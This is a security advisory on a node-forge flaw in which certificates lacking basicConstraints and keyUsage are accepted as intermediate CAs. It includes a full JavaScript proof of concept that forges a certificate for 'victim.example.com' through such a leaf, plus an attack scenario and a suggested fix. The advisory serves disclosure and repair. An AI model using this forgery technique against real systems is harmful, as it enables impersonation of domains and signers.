Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results:

• Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
• Certificate with basicConstraints.cA=false: correctly rejected
• Certificate with keyUsage (no keyCertSign): correctly rejected
• Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for:

• Custom PKI / certificate pinning implementations
• S/MIME / PKCS#7 signature verification
• IoT device certificate validation
• Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as:

• CVE-2014-0092 (GnuTLS) — certificate verification bypass
• CVE-2015-1793 (OpenSSL) — alternative chain verification bypass
• CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from:

• CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
• CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
• GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

• 2026-03-10: Report submitted via GitHub Security Advisory
• 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch